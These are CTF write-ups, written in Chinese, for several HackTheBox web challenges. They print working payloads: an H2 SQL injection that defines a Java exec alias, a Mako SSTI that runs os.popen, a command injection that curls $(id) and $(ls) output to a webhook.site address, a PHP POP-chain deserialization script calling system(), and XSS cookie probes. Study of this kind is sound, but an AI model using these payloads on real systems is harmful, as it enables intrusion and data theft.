[TOC] ### Pentest Notes 題目 : [Pentest Notes](https://app.hackthebox.com/challenges/Pentest%2520Notes?tab=play_challenge) 解題 : 創一個帳號後登入,這個看起來很可疑,去他的程式碼看看 api/note 怎麼處理資料的 ![image](https://hackmd.io/_uploads/rJvDF3om-x.png) 發現 login、register 都有做參數化,就只有 note 直接把 name 帶進去查詢 ![image](https://hackmd.io/_uploads/r1pFYhi7-x.png) 證實有 SQLi 問題 ![image](https://hackmd.io/_uploads/Bku4Kho7Zg.png) 回去看提供檔案,裡面有給資料庫系統跟資料庫名稱 - 資料庫類型是 h2 ( H2是一個Java編寫的關係型資料庫,它可以被嵌入Java應用程式中使用 ) - DB 名稱是 notedb ``` application.properties spring.application.name=PentestNotes spring.datasource.url=jdbc:h2:mem:notedb spring.datasource.driverClassName=org.h2.Driver spring.jpa.database-platform=org.hibernate.dialect.H2Dialect spring.jpa.defer-datasource-initialization=true spring.http.encoding.charset=UTF-8 spring.mvc.view.charset=UTF-8 ``` H2 預設的用戶資料表通常在 PUBLIC schema 下 ``` ' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='PUBLIC' LIMIT 0,1 -- ``` limit 0,1 改成 1,1 多了 user, 但是 user 裡面只有預設跟我剛剛創的而已,改 2, 3 都沒有東西了 ![image](https://hackmd.io/_uploads/H1uIKToQWe.png) ![image](https://hackmd.io/_uploads/rkHdYpo7Wl.png) ![image](https://hackmd.io/_uploads/HJGzqpjmbe.png) 從資料庫中沒發現其他有趣的東西了 去了解 h2 DB 發現,他允許開發者直接在 SQL 中定義並執行 Java 程式碼,看來可以 RCE 以下是建構的 payload,我從 console 輸入 ``` fetch('/api/note', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'name=' + encodeURIComponent("'; CREATE ALIAS cmd AS 'String f(String c) throws Exception { return new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\"\\\\A\").next(); }'; --") }) .then(res => { if (res.ok) console.log("ok"); else console.error("no" + res.status); }) .catch(err => console.error("錯誤:", err)); ``` - CREATE ALIAS ... AS : 自訂一個函數,名稱隨便打 - String f(String c) throws Exception:定義一個接收字串 c 並回傳字串的函數 - Runtime.getRuntime().exec(c) : 主要執行指令的地方 - getInputStream():接住指令輸出的內容 - Scanner + useDelimiter("\\A"):把所有噴出來的文字(不管是幾行)通通收下來 :::spoiler Scanner 預設的行為是遇到空格、換行就停止讀取,Delimiter 意思是分隔符,這邊用正則表達來讓他把我輸入的一整串字都讀進去 ::: - .next() : 將讀到的所有內容作為一個字串回傳給 SQL ![image](https://hackmd.io/_uploads/r1w_rCjXZe.png) 後續利用只要叫出剛剛建立的函數名稱就好了 ``` fetch('/api/note', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'name=' + encodeURIComponent(`' UNION SELECT 1, cmd('ls'), 1 --`) }) .then(res => res.json()) .then(data => console.log(">>>", data[0].Name)); ``` ![image](https://hackmd.io/_uploads/rJjoSAoQZx.png) ![image](https://hackmd.io/_uploads/HkjWI0jmbg.png) 最後 cat flag 檔案就成功了 ### Spookifier 題目 : [Spookifier](https://app.hackthebox.com/challenges/Spookifier?tab=play_challenge) 解題 : 連上題目後長這樣,功能是把輸入的字用不同的字形表示出來 ![image](https://hackmd.io/_uploads/SkG1n8rfZx.png) ![image](https://hackmd.io/_uploads/HJrX3UBMbe.png) 透過簡單的測試發現他有 XSS 的問題,但是無法進行更一步的有效攻擊 回去看題目附的原始碼 從原始碼可以發現重要的程式有以下兩個 : ``` challenge\application\blueprints\routes.py from flask import Blueprint, request from flask_mako import render_template from application.util import spookify web = Blueprint('web', __name__) @web.route('/') def index(): text = request.args.get('text') if(text): converted = spookify(text) return render_template('index.html',output=converted) return render_template('index.html',output='') ``` ``` challenge\application\util.py from mako.template import Template font1 = { 'A': '𝕬', 'B': '𝕭', 'C': '𝕮', 'D': '𝕯', ... ... ' ': ' ' } font2 = { 'A': 'ᗩ', 'B': 'ᗷ', 'C': 'ᑢ', ... ... 'z': 'Ⱬ', ' ': ' ' } font3 = { 'A': '₳', 'B': '฿', 'C': '₵', 'D': 'Đ', ... } font4 = { 'A': 'A', 'B': 'B', 'C': 'C', ... ... ',': ',', '>': '>', '.': '.', '?': '?', '/': '/' ' ': ' ', } def generate_render(converted_fonts): result = ''' <tr> <td>{0}</td> </tr> <tr> <td>{1}</td> </tr> <tr> <td>{2}</td> </tr> <tr> <td>{3}</td> </tr> '''.format(*converted_fonts) return Template(result).render() def change_font(text_list): text_list = [*text_list] current_font = [] all_fonts = [] add_font_to_list = lambda text,font_type : ( [current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear() ) and None add_font_to_list(text_list, 'font1') add_font_to_list(text_list, 'font2') add_font_to_list(text_list, 'font3') add_font_to_list(text_list, 'font4') return all_fonts def spookify(text): converted_fonts = change_font(text_list=text) return generate_render(converted_fonts=converted_fonts) ``` 從第一個程式看到用戶 input 直接送到 spookify() 去變換字形,變完之後直接送到 render_template(),送過去的參數也沒有做處理,從第二個程式中可以看到 Template(result).render(),直接把接到的參數拿去做渲染 所以原本只有發現 XSS 的問題,直接進展到 SSTI 再往回看 template 發現 mako.template 套用對應 SSTI 語法 payload,就可以拿到 flag ``` ${__import__('os').popen('cat /flag.txt').read()} ``` ### Flag Command 題目 : [Flag Command](https://app.hackthebox.com/challenges/Flag%2520Command) 解題 : 題目開啟後長下圖這樣,需要依照提示下指令 ![image](https://hackmd.io/_uploads/r1INplq-Je.png) 查看原始碼可以看到以下內容,發現三個可能有幫助的 js 檔案 ![image](https://hackmd.io/_uploads/HkqM0eqZkg.png) 從 main.js 中發現可以輸入的 command 有個 secret 的選項,但是沒有出現在這些檔案中 ![image](https://hackmd.io/_uploads/Sk2KkbcbJg.png) 查看 burp 的紀錄發現開啟題目的時候有去存取 /api/options,response 中就可以看到秘密指令 :::success Blip-blop, in a pickle with a hiccup! Shmiggity-shmack ::: ![image](https://hackmd.io/_uploads/rktpx-c-kx.png) 將秘密指令輸入就可以解題了 ![image](https://hackmd.io/_uploads/ByjXWW5-1g.png) ### Void Whispers 題目 : [Void Whispers](https://app.hackthebox.com/challenges/Void%2520Whispers) 解題 : 題目打開長這樣,該題有附程式碼 ![image](https://hackmd.io/_uploads/BJDHxzVXkx.png) 先使用他的網頁,他有四個欄位,填完後按 save 就會更新 檢查程式碼,了解他是怎麼更新的,發現檢查 sendMailPath 的地方有 cmdi 漏洞,並且不接受空白鍵 ![image](https://hackmd.io/_uploads/Hy0GZGVQke.png) 嘗試利用以下指令,但是網站只會回傳更新成功或是 error,因此需要讓資料被丟出來 ``` /usr/sbin/sendmail;ls ``` 利用 [webhook](https://webhook.site/#!/view/71f80a44-a675-407d-afc8-5be2bbdb5277/fbf9f548-6970-41b5-b03f-d93ee27f370b/1) 來看丟出來的資料,並透過 ${IFS} 來 bypass 空白鍵,確認可以成功 ``` /usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(id) ``` ![image](https://hackmd.io/_uploads/BJAsQf4mJx.png) 接著來檢查目錄有沒有我想要的檔案,只發現一個在題目有提供的 php 檔而已,後來陸續找了一些路徑也沒發現我要的 flag 檔,後來題目就壞掉了... ``` /usr/sbin/sendmail;curl${IFS}https://webhook.site/71f80a44-a675-407d-afc8-5be2bbdb5277${IFS}-d${IFS}$(ls) ``` ![image](https://hackmd.io/_uploads/SkwrVG47kl.png) 後來仔細想想,突然想到 docker file 好像都會寫 flag 路徑,但是題目壞掉了,下次再試 ![image](https://hackmd.io/_uploads/HJ2KrzVmkx.png) 重試之後成功拿到 flag ![image](https://hackmd.io/_uploads/ByTJz8Tmkx.png) ![image](https://hackmd.io/_uploads/rkqlMIpmJg.png) ### POP Restaurant 題目 : [POP Restaurant](https://app.hackthebox.com/challenges/POP%2520Restaurant) 解題 : 該題有附程式碼 打開題目會先看到登入跟註冊,登入後可以看到三張圖片,點擊圖片可以訂購餐點,訂購的餐點會出現在下面 YOUR ORDERS ![image](https://hackmd.io/_uploads/B1MsatTm1x.png) 送出訂單時不是送餐點名稱,而是送一串 base64 encode 後的字串 ![image](https://hackmd.io/_uploads/Syan0Fp71x.png) ![image](https://hackmd.io/_uploads/BJZyycTQJe.png) #### 檢查程式碼 這邊發現比較特別的函式是 unserialize(),出現在 order.php,這個程式將使用者 post 出來的資料透過 base64 decode 再反序列化,把物件的類別存到 foodname ![image](https://hackmd.io/_uploads/SyJfl9pm1e.png) 查看這些餐點的結構 ![image](https://hackmd.io/_uploads/Syt645amkl.png) ![image](https://hackmd.io/_uploads/ryW1Bc6mkl.png) ![image](https://hackmd.io/_uploads/BkeEeH9aXkl.png) 嘗試 IceCream,想讓他印出我輸入的口味 第一次嘗試失敗,問 chatgpt 說 flavor 需要是陣列的類型 ``` O:8:"IceCream":2:{s:7:"flavors";s:4:"milk";s:7:"topping";N;s:2:"Hi";N} ``` 第二次嘗試失敗,問 chatgpt 說我沒觸發到 _invoke() ``` O:8:"IceCream":2:{s:7:"flavors";a:1:{i:0;s:4:"milk";}s:7:"topping";N;} ``` > 後來查 _invoke() 才知道這是 magic method,也發現這題好像是在考 POP chain,要想辦法手動去觸發他們各自的 magic method,並且讓他們串再一起,再透過修改程式中的值,最後產出一個值被修改過的序列化資料,再去執行。 https://vickieli.dev/insecure%20deserialization/pop-chains/ :::info **magic method** 這個 magic method 會在特定情況下自動被 PHP 引擎調用,而無需手動調用,通常發生在完成某個特定條件時,例如:當對象被創建、訪問或銷毀時 | magic method | 觸發條件 | | -------- | -------- | | __invoke() | when a script tries to call an object as a function. | | __destruct() | there are no other references to a particular object, or in any order during the shutdown sequence. | | __get() | utilized for reading data from inaccessible (protected or private) or non-existing properties | | __construct() | Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. | 參考 : https://www.php.net/manual/en/language.oop5.magic.php ::: 知道目標是要把 magic method 串再一起後,我還是不會串,以下是參考大神提供的解法 : :::success 順序是 Pizza 的 __destruct() -> Spaghetti 的 __get() -> iceCream 的 __invoke() -> ArrayIterator ::: 理由是物件結束後成功觸發 __destruct(),__destruct() 內執行 echo $this -> size -> what,what 是不存在的東西,所以又再觸發 __get(),__get() 內執行 sauce(),這個觸發到 __invoke() 並執行迴圈去印 flavor,最後 foreach 的時候就會觸發到 current 來處理迭代array 的元素 補充 : call_user_func 意思大概是使用 callback 函式,然後參數是 value ``` <?php require_once 'Helpers/ArrayHelpers.php'; require_once 'Models/IceCreamModel.php'; require_once 'Models/PizzaModel.php'; require_once 'Models/SpaghettiModel.php'; $callback = 'system'; $payload = 'your command'; $arrayHelper = new Helpers\ArrayHelpers([$payload]); $arrayHelper->callback = $callback; $iceCream = new IceCream(); $iceCream->flavors = $arrayHelper; $spaghetti = new Spaghetti(); $spaghetti->sauce = $iceCream; $pizza = new Pizza(); $pizza->size = $spaghetti; echo base64_encode(serialize($pizza)); ``` 從上面的程式碼可以看到大神多利用了一個 ArrayHelpers 的檔案,這個 class 繼承自 ArrayIterator,並且複寫了 current 函式 (用於回傳當前元素)。 所以新的 current 函式會將 array 中每個元素作為 callback 的參數執行,因此如果將 callback 更改為 system,就能夠搭配 array 中的元素來執行 linux 指令 ![image](https://hackmd.io/_uploads/SJ-jezOVJe.png) 最後因為 response 不會顯示執行的結果,因此把他寫到另外的檔案,再去瀏覽它 :::success payload = ls / > result.txt ::: ![image](https://hackmd.io/_uploads/rkSdKWONJg.png) :::success payload = cat ../../../../pBhfMBQlu9uT_flag.txt > flag.txt ::: ![image](https://hackmd.io/_uploads/rkO_JM_VJe.png) ### Insomnia 題目 : [Insomnia](https://app.hackthebox.com/challenges/Insomnia) 解題 : 從註冊到登入可以觀察到使用者名稱會出現在 welcome back ![image](https://hackmd.io/_uploads/Bk2gx6P4Je.png) ![image](https://hackmd.io/_uploads/HkKflpPNJg.png) 嘗試使用 XSS 語法看能不能成功觸發,結果成功但是 token 還是原本那組 :::success - <script>alert(window.location.href)</script> - <script>alert(document.cookie)</script> ::: ![image](https://hackmd.io/_uploads/HJrITCINyg.png) ![image](https://hackmd.io/_uploads/SJ_vaCL4ke.png) ![image](https://hackmd.io/_uploads/HkIppAUVkg.png) 原本以為是 XSS 的洞原本還在查 stored xss 的 RCE,結果在找 source code 的時候才發現 flag 出現的條件,猜測題目不是爆破 jwt 不然就是程式漏洞讓我可以順利產出 administrator 的 JWT ![image](https://hackmd.io/_uploads/HJxLz6DEkg.png) 檢查註冊及登入的程式,確認沒辦法自己創一個 administrator,我也不知道 admin 的密碼,不確定是否需要密碼爆破... ``` <?php namespace App\Controllers; use CodeIgniter\Controller; use CodeIgniter\API\ResponseTrait; use Firebase\JWT\JWT; use Firebase\JWT\Key; class UserController extends Controller { use ResponseTrait; public function LoginIndex() { return View("LoginPage"); } public function login() { $db = db_connect(); $json_data = request()->getJSON(true); if (!count($json_data) == 2) { return $this->respond("Please provide username and password", 404); } $query = $db->table("users")->getWhere($json_data, 1, 0); $result = $query->getRowArray(); if (!$result) { return $this->respond("User not found", 404); } else { $key = (string) getenv("JWT_SECRET"); $iat = time(); $exp = $iat + 36000; $headers = [ "alg" => "HS256", "typ" => "JWT", ]; $payload = [ "iat" => $iat, "exp" => $exp, "username" => $result["username"], ]; $token = JWT::encode($payload, $key, "HS256"); $response = [ "message" => "Login Succesful", "token" => $token, ]; return $this->respond($response, 200); } } public function RegisterIndex() { return View("RegisterPage"); } public function register() { $db = db_connect(); $json_data = request()->getJSON(true); $username = $json_data["username"] ?? null; $password = $json_data["password"] ?? null; if (!($username && $password)) { return $this->respond("Empty username or password", 404); } else { // Check if the username already exists $existingUser = $db ->table("users") ->where("username", $username) ->get() ->getRow(); if ($existingUser) { return $this->respond("Username already exists", 400); } // Insert the new user if the username is unique $db->table("users")->insert([ "username" => $username, "password" => $password, ]); if ($db->affectedRows() > 0) { return $this->respond( "Registration successful for user: " . $username, 200 ); } else { return $this->respond("Registration failed", 404); } } } } ``` 先嘗試 JWT 爆破,把 rockyou 的密碼都爆過了但沒有找到 ![image](https://hackmd.io/_uploads/HkCNd0DEkl.png) 查看 writeup,文中表示以下程式邏輯錯誤,所以輸入帳號就過了,但他不是有 !count( json_data ) == 2 嗎怎麼會過,還是因為 count($json_data) == 2 沒括號 ? ``` if (!count($json_data) == 2) { return $this->respond("Please provide username and password", 404); ``` ![image](https://hackmd.io/_uploads/SyRHKRPE1x.png) ![image](https://hackmd.io/_uploads/HkpUK0P4ye.png)